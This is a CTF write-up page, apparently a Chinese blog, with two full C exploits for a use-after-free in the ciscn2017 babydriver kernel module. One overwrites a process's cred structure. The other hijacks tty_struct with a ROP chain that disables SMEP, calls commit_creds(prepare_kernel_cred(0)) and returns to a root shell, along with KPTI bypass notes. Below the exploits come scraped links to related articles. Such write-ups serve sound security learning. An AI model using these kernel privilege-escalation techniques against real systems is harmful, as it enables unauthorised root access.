kernel UAF && 劫持tty_struct

ciscn2017_babydriver

exp1

fork进程时会申请堆来存放cred。cred结构大小为0xA8。修改cred里的uid,gid为0,即可get root

#include<stdio.h>
#include<fcntl.h>
#include <unistd.h> int main()
{
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);
char buf[28] = {0};
if(fd1 < 0 || fd2 < 0)
{
puts("[-] open error");
exit(-1);
} ioctl(fd1, 0x10001, 0xa8);
close(fd1); int pid = fork();
if(pid < 0)
{
puts("[-] fork error");
exit(-1);
}
else if(pid == 0)
{
write(fd2, buf, 28);
if(getuid() == 0)
{
puts("[+] root now");
system("/bin/sh");
}
}
else
{
wait(NULL);
}
close(fd2);
return 0;
}

exp2

打开ptmx时会申请一个大小为0x2e0的结构体tty_struct(size_t)tty_struct[3]的位置是tty_operations里面存放了函数指针,劫持这个结构体可实现栈迁移。

劫持write指针,则raxtty_operations的地址,劫持ioctl指针,则rcxtty_operations的地址

补充一下:在开启 KPTI 的情况下直接返回用户态会 segmentation fault,可以把原来的返回地址 get_shell 函数设为 signal 信号的处理函数,这样原先的 swapgs ; iretq 的方法就可以继续用了。(signal(11, (size_t)get_shell)

当然我们可以直接用 swapgs_restore_regs_and_return_to_usermode 直接绕过 KPTI,可能由于本题内核是一个过渡版本还没有KPTI而是PTI,我并没能找到这个函数。

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h> size_t vmlinux_base, offset, commit_creds = 0xffffffff810a1420, prepare_kernel_cred = 0xffffffff810a1810;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000; void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[+] save the state success!");
} void get_shell()
{
if (getuid() == 0)
{
puts("[+] get root");
system("/bin/sh");
puts("[*] get shell");
}
else
{
puts("[-] get shell error");
sleep(5);
exit(0);
}
} void get_root()
{
//commit_creds(prepare_kernel_cred(0))
void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;
void (*cc)(void *) = (void (*)(void *))commit_creds;
(*cc)((*pkc)(0));
} int main()
{
signal(11, (size_t)get_shell);
size_t rop[0x100] = {0};
size_t user_buf[0x100] = {0};
size_t fake_tty_struct[4] = {0};
size_t fake_tty_operations[35] = {0}; save_status();
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);
if(fd1 <0 || fd2 < 0)
{
puts("[-] open babydev error");
sleep(5);
exit(0);
} ioctl(fd1, 0x10001, 0x2e0);
close(fd1); int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY);
if(fd_tty < 0)
{
puts("[-] open ptmx error");
sleep(5);
exit(0);
} int i = 0;
rop[i++] = 0xffffffff810d238d; // pop rdi; ret;
rop[i++] = 0x6f0;
rop[i++] = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;
rop[i++] = 0;
rop[i++] = (size_t)get_root;
rop[i++] = 0xffffffff81063694; // swapgs; pop rbp; ret;
rop[i++] = 0;
rop[i++] = 0xffffffff814e35ef; // iretq; ret;
rop[i++] = (size_t)get_shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss; fake_tty_operations[7] = 0xffffffff8181bfc5; // mov rsp, rax; fake_tty_operations[0] = 0xffffffff8100ce6e; // pop rax; ret;
fake_tty_operations[1] = (size_t)rop;
fake_tty_operations[2] = 0xffffffff8181bfc5; // mov rsp, rax; read(fd2, fake_tty_struct, 32);
fake_tty_struct[3] = (size_t)fake_tty_operations; write(fd2, fake_tty_struct, 32); write(fd_tty,"FXC",3);
return 0;
}

kernel UAF && tty_struct的更多相关文章

  1. Kernel pwn 基础教程之 ret2usr 与 bypass_smep

    一.前言 在我们的pwn学习过程中,能够很明显的感觉到开发人员们为了阻止某些利用手段而增加的保护机制,往往这些保护机制又会引发出新的bypass技巧,像是我们非常熟悉的Shellcode与NX,NX与 ...

  2. Summary of Critical and Exploitable iOS Vulnerabilities in 2016

    Summary of Critical and Exploitable iOS Vulnerabilities in 2016 Author:Min (Spark) Zheng, Cererdlong ...

  3. Linux kernel pwn notes(内核漏洞利用学习)

    前言 对这段时间学习的 linux 内核中的一些简单的利用技术做一个记录,如有差错,请见谅. 相关的文件 https://gitee.com/hac425/kernel_ctf 相关引用已在文中进行了 ...

  4. 0ctf 2017 kernel pwn knote write up

    UAF due to using hlist_add_behind() without checking. There is a pair locker(mutex_lock) at delete_n ...

  5. Linux kernel(CVE-2018-17182)提权漏洞复现

    0x01 漏洞前言 Google Project Zero的网络安全研究人员发布了详细信息,并针对自内核版本3.16到4.18.8以来Linux内核中存在的高严重性漏洞的概念验证(PoC)漏洞利用.由 ...

  6. linux kernel下输入输出console怎样实现

    近期工作在调试usb虚拟串口,让其作为kernel启动的调试串口,以及user空间的输入输出控制台. 利用这个机会,学习下printk怎样选择往哪个console输出以及user空间下控制台怎样选择. ...

  7. ret2dir:Rethinking Kernel Isolation(翻译)

    前一段时间在网上找ret2dir的资料,一直没找到比较系统的介绍,于是干脆把这篇经典的论文翻译了,当然,第一次翻译(而且还这么长),很多词汇不知道到底该怎么翻译,而且最近事情也比较多, 翻译得挺烂的, ...

  8. [03] HEVD 内核漏洞之UAF

    作者:huity出处:https://www.cnblogs.com/huity35/p/11240997.html版权:本文版权归作者所有.文章在博客园.个人博客同时发布.转载:欢迎转载,但未经作者 ...

  9. linux kernel下输入输出console如何实现【转】

    转自:https://blog.csdn.net/skyflying2012/article/details/41078349 最近工作在调试usb虚拟串口,让其作为kernel启动的调试串口,以及u ...

随机推荐

  1. Oracle 关于v$之类的视图使用说明

    官方文档:https://docs.oracle.com/en/database/oracle/oracle-database/19/cncpt/data-dictionary-and-dynamic ...

  2. 通常一个Xml映射文件,都会写一个Dao接口与之对应,请问,这个Dao接口的工作原理是什么?Dao接口里的方法,参数不同时,方法能重载吗?

    Dao接口即Mapper接口.接口的全限名,就是映射文件中的namespace的值:接口的方法名,就是映射文件中Mapper的Statement的id值:接口方法内的参数,就是传递给sql的参数. M ...

  3. Java 中 sleep 方法和 wait 方法的区别?

    虽然两者都是用来暂停当前运行的线程,但是 sleep() 实际上只是短暂停顿,因为它不会释放锁,而 wait() 意味着条件等待,这就是为什么该方法要释放锁,因为只有这样,其他等待的线程才能在满足条件 ...

  4. Redis ZSet Type

    Redis有序集合的操作命令和对应的api如下: zadd [zset] sco 'value' JedisAPI:public Long zadd(final String key, final d ...

  5. 什么是 Spring 的依赖注入?

    依赖注入,是 IOC 的一个方面,是个通常的概念,它有多种解释.这概念是说你 不用创建对象,而只需要描述它如何被创建.你不在代码里直接组装你的组件和 服务,但是要在配置文件里描述哪些组件需要哪些服务, ...

  6. 创建Maven web工程

    ---恢复内容开始--- 第一步,启动Eclipse,依次打开菜单[File][New][Other] 找到目录Maven,选择Maven Project, 选择一个Archetype.这里创建Web ...

  7. Java中final的使用

    原文链接https://www.cnblogs.com/dolphin0520/p/10651845.html 作者Matrix海 子 本文为笔记 0. 概述 final和static一样都是修饰词, ...

  8. flink内存模型详解与案例

    任务提交时的一些yarn设置(通用客户端模式) 指定并行度                        -p 5 \ 指定yarn队列                     -Dyarn.appl ...

  9. BeeFramework:以极客的方式开发你的应用

    BeeFramework 是新一代的应用开发框架,它能使应用开发变得更简单更容易,它是由 Gavin Kwoe 和 QFish 开发并维护的.使用 BeeFramework 能像 html 和 css ...

  10. react 移动端 兼容性问题和一些小细节

    react 移动端 兼容性问题和一些小细节 使用 ES6 的浏览器兼容性问题 react 对低版本的安卓webview 兼容性 iOS下 fixed与软键盘的问题 onClick 阻止冒泡 meta对 ...